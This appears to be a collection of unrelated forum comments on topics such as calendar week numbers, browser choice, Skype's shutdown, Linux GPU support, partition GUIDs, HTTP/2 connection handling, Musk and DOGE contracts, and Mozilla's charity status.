Nice idea, but the calendar format is a bit verbose for my taste. Week number is something I would have to look up constantly and surely get wrong more than once.

If you want to follow UNIX philosophy, why don't you write an augmenter/converter tool `caug` that adds "computed" information such as week number, weekday or even relative date?

Most of that was due to high infant mortality. The average person who lived to adulthood did not die in their 30's.

I had issues with Firefox sometimes not showing Google Docs / Sheets (which I use extensively) in other words, would not show any text / values, whereas Edge worked fine. So I switched and didn't go back.

How much did you use the original GPT-4-0314?

(And even that was a downgrade compared to the more uncensored pre-release versions, which were comparable to GPT-4.5, at least judging by the unicorn test)
And Skype had to maintain compatibility with many of these services that came and went.
Yeah, pretty much. If you look historically, it's always that traitors and betrayers get the most severe punishment. It just wakes up something very basic in humans.
Let's not pretend like every president and congressperson has the same track record for corruption and hypocrisy. I don't need to "suddenly give a shit about integrity, capability, or neutrality" to wonder why a particular president lets a billionare give unhired people access to treasury data, lie about "read-only access", redirect earmarked contracts to the billionaire's companies, and pretend that Elon Musk does not have anything to do with DOGE or firing decisions, or to question why certain legislators are telling citizens that "nobody should bellyache" about the unconstitutional actions committed by DOGE and Elon Musk with Trump's permission.

I switched from Arc to Vivaldi and have been mostly happy with the it. Arc has a very polished UI, but has a number of annoying UX decisions. I've found I could customize Vivaldi to a point where it's basically Arc without the UX annoyances.
As far as I know.

I assign the standard Linux GUIDs on non-Windows volumes to be sure, as appropriate even though the regular "Basic Volume" GUID is often found since it works "for all".

The standard Linux Partition_type_GUIDs as shown in Wikipedia (please refer to it) after expanding ("show") the condensed table:

4F68BCE3-E8CD-4DB1-96E7-FBCAF984B709 for the OS root

0FC63DAF-8483-4772-8E79-3D69D8477DE4 for data

8484680C-9521-48C6-9C11-B0720656F69E for usr

0657FD6D-A4AB-43C4-84E5-0933C84B4F4F for swap

These can be SET ID from Windows, plus you can set GPT Attributes to hidden and/or readonly temporarily because it is getting more difficult to trust Windows so that's why I'm experimenting so much.

Also you can safely change the ESP volume GUID from standard to basic, and Windows will most likely still boot normally on many PCs, you can then assign a volume letter to the ESP and after another reboot have full admin access to the ESP and its black pearl, the EFI folder within, from the GUI.

Microsoft hangs up on Skype: service to shut down May 5, 2025

I helped a friend install Linux last year; they had an NVIDIA card, aaaand they had problems. Both in X and Wayland. I'm was on a 6000 series at the time and it worked great, as you know. I am on a 7000 series now, and it's as smooth as ice. AMD is the way to go for Linux.

There's that new NVIDIA driver cooking, but I'm not sure what the status is on it.

BTW, even Ryzen 3 is a substantial upgrade over 1. Any X3D processor (I think 5 is when they first appeared) is even more so. Ryzen 5 is also less sensitive to RAM timings. I applaud you for avoiding latest-and-greatest syndrome, but even upgrading to an older CPU generation would be a significant boost.
> I have more faith in SpaceX’s ability to deliver than Verizon

Why? Verizon has been delivering top of the line cellular service for multiple decades now. Starlink is quite new on the scene and given that they’ve now captured management of the agency they’re selling to, they have no incentive to actually provide high quality service. They could do a shitty job and keep the contract, so why would they bother to do well?

In concerns such as this, the process matters. If we don't follow it this time, then why follow next time or the time after? Then, if this rule or that law doesn't matter, then do any of them matter?

I think people would have been more comfortable if they decided to send it out to bid again - not great since it was already awarded, but at least going back through the public process.
No, that does not solve the problem of the Google monopoly. Not a fixed set contained within one browser engine, but the browser engine itself, like Webkit vs some other engine vs some specialized engines. If your engine-host browser does not have a give engine or specific version of an engine it downloads it and caches it. WASM/Wayland makes the idea feasible, loading lightweight WASM modules.
I don't know anything about game dev, but just a bit of support on the feedback:

> feedback was tough: No clear goal, felt aimless. -

There are plenty of successful games that fit this description. There are plenty of unsuccessful ones as well. I would encourage you to lean in to the type of game you want to make. If the game is suppose to be an escape, does it bring that feeling? If the game is suppose to be fun, is it actually fun to play?

Most things just take time to learn. You probably won't get any worse at game design as time progresses, so you are doing the right things and the suggestions in this thread should help you on the path you are already on.

>While I acknowledge their success in space

Not to mention the early model was built on govt contracts because the govt was the only institution capable of shouldering the risk of an unproven space vendor.

Not saying that’s a bad thing, just that the success of SpaceX and the govt were tightly coupled.
It's amazing how people having visibly never dealt with high loads can instantly become vehement against those reporting a real issue.

The case where ports are quickly exhausted is with long connections, typically WebSocket. And with properly tuned servers, reaching the 64k ports limit per server comes very quickly. I've seen several times the case where admins had to add multiple IP addresses to their servers just to hack around the limit, declaring each of them in the LB as if they were distinct servers. Also, even if Linux is now smart enough to try to pick a random port that's valid for your tuple, once your ports are exhausted, the connect() system call can cost quite a lot because it performs multiple tries until finding one that works. That's precisely what IP_BIND_ADDRESS_NO_PORT improves, by letting the port being chosen at the last moment.

H2 allows to work around all this more elegantly by simply multiplexing multiple client streams into a single connection. And that's very welcome with WebSocket since usually each stream has little traffic. The network also sees much less packets since you can merge many small messages into a single packet. So there are cases where it's better.

Another often overlooked point is that cancelling a download over H1 means breaking the connection. Over H2 you keep the connection opened since you simply send an RST_STREAM frame for that stream in the connection. The difference is important on the frontend when clients abort downloads multiple times per browsing session (you save the TLS setup again), but it can also make a difference on the backend, because quite often an aborted transfer on the front will also abort an H1 connection on the back, and then that's much less fun for your backend servers.

That article you linked me to-- in an attempt to get a sick mic-dropping moment on me-- is extremely pro Section 230, so you either didn't read it or have such poor reading comprehension that you have no idea what it's actually saying.
The kind of flexible dynamic delegation that'd need (outside extremely simplistic uses) really doesn't exist in any OS that I've seen. And it would have to be quite sophisticated, to resist abuses and ensure latency is as low as it needs to be. I'm not sure we'd be in any better place if that happened - browsers would be simpler, but OSes and those media players/plugin-able things would gain significantly more complexity to offset it.

If your goal is to get rid of all the fancy stuff, then yeah - gopher still exists, all UX can be thrown out the window, it all exists today. But I don't think that'll go anywhere, except in extreme niches.

I'm still using it after starting on one of the early Skype versions. At over 20 years, it's lasted me longer than ICQ, IRC or an other messenger. Most of my contacts no longer use Skype but it's the primary way I contact my family and I can't think of an obvious replacement that would fully satisfy my use case.
Godot game engine has been good to me, I have not made any original games but I have copied some games with a high skill ceiling, it is very important to have a high skill ceiling because otherwise it feels aimless, games like Advance Wars or Mega Man Battle Network have high skill ceilings but are not too difficult to create in 2D tile systems, as soon as you get into scaling the game with more units, more power ups, etc. then it starts to really feel like it has an aim to become stronger not just a cool thing to look at for 5 minutes

This. And most importantly for me, Skype allowed to call using my numbers (for bank it will look like i am calling from my cell). Any other voip service would just put random number which will trigger additional security checks.

This may be true with some stacks, but my answer has to be understood in the context of Ruby where the only real source of parallelism is `fork(2)`, hence the natural way to write server is an `accept` loop, which fits HTTP/1 very well, but not HTTP/2.
I use a template [1] that includes week numbers.

With some traditional GUI calendar software, I was often hunting and miscopying week numbers. Some software also had a weird (non ISO-8601) idea of week numbers.

It's quite interesting that despite chat and video messaging apps being those that should stick for long they actually tend to be replaced with relative ease.

Since I started my online journey I've been through ICQ, IRC, MSN, Skype, Hangouts, Kik, Teams, Telegram, Whatsapp, and many many others I don't even remember.

Yet at every point it seems that something breaks, they feel like they have to add more and more features, core features start sucking, etc.

Whatsapp is the only one that stuck since I started using it, and I suspect part of the reason is both the fact my friends and relatives just won't move from it (it essentially replaced SMS) and the fact that Whatsapp cares a lot about the client being very performing even on lowest end old devices.

I've found I can barely write anymore.

I mean, I can, but my handwriting is so bad I can barely read it, even if I've written pretty slowly. Like it was never good, but I could write a lot faster and still be able to read it. Now my slow and careful handwriting is worse than that, even.

It occurred to me some time last year, when reflecting on this, that I've probably averaged fewer than 50 words written by hand per year, not counting my signature, over... like more than a decade. I wouldn't be surprised if the actual annual average over that span is around 25 or 30 words, even. So, no wonder.

A big change from the days of writing several hundreds words in one hour for Blue Book tests, a few times per year!
> Edit: If that. I personally think this Terms of Use thing is a storm in a teacup.

You may be right, yeah. I don't actually use Firefox, there was something else they did like this before which spooked me off. I was mainly explaining the seemingly odd response people have about this, and why they created a storm.

Unfortunately this doesn’t work either. Contracting is risk adverse and tries to avoid legal battles at all costs so even bad reviews often get scrubbed and edited until they look glowing.

The risk adverse nature of the govt needs to be fixed before the incentives align.
To be fair, I have an nvidia card, I had problems a year ago, but it's gotten a lot better in the past year.
I wonder what fraction of those chose not to vote.

A lot of people have told me that the last administration didn't do anything at all for them. They tended to be younger, the type to have student loans. I would have thought that forgiving student loans would be a fairly obvious and popular action, one with direct effects on large numbers of people.

I don't believe in "I told you so's", but it would be useful to know if there's some way to help convey this messaging in the future. Partial student loan forgiveness may not be the splashiest accomplishment, but it was a realistic incremental improvement to people's lives, and certainly better than the alternative.
I thought Ghostery has been the gold standard for a pretty long time now…?
It kind of doesn't matter if this is the best choice or not. If Elon wants to occupy the position he does in the government, he needs to remove his companies from the pool of government contracts.

I like DOGE's stated objectives. I like SpaceX, and Starlink. They probably ARE a better choice than Verizon. It doesn't matter.

That being said, do I think that bankers and defense contractors and tech companies and oil execs etc have not bought their way into similarish positions of influence for the last many decades? Probably. But Elon's power at the moment feels far less bounded and far more arbitrary.
Most CTOs are great politicians, not great engineers.

If compared to the alternative, Musk makes more money, but then substantially more of the underserved population get access to high speed Internet, would you consider that to be bad?
Elon is exactly the person to want to rewrite things from scratch and break shit. Hopefully, a drop in air travel due to safety fears leads to the workload decreasing, thereby allowing these forced system upgrades to happen with less harm.

That's not how charities work as a legal construct.

The point of incorporating as a charity is that it makes you exempt from taxes. Obviously the government that collects taxes wants to make sure that every corporation doesn't incorporate as a charity solely to avoid taxes, so it places strict limits on what you're allowed to do with charitable donations.

The Mozilla Foundation (as distinct from the Mozilla Corporation) is specifically a 501(c)(3) charity under US law. That means it can use its funds for the following:

"The exempt purposes set forth in section 501(c)(3) are charitable, religious, educational, scientific, literary, testing for public safety, fostering national or international amateur sports competition, and preventing cruelty to children or animals. The term charitable is used in its generally accepted legal sense and includes relief of the poor, the distressed, or the underprivileged; advancement of religion; advancement of education or science; erecting or maintaining public buildings, monuments, or works; lessening the burdens of government; lessening neighborhood tensions; eliminating prejudice and discrimination; defending human and civil rights secured by law; and combating community deterioration and juvenile delinquency."

I've done some research on exactly this, and the efficiencies of TEGs makes this a tough prospect. It started to work out in our favor when using concentrated solar to reduce the amount of paneling needed, but that's no longer an economic driver, and you get a much better return on investment by skipping the TEGs and just plopping a few extra panels down in a lake. You can also flip the configuration and use TEGs to generate power from the solar heating, but the terrible efficiency bites us again and you're better off buying more panels instead.

No, this doesn't follow, that's my point. This depends on further constraining materialist consciousness to have the specific kind of property I described. It's possible that consciousness is like "sorting algorithm", a specific property of a specific kind of system, and aggregates of such systems don't necessarily have that same property. They might, but it's too strong to say they definitely or probably do.
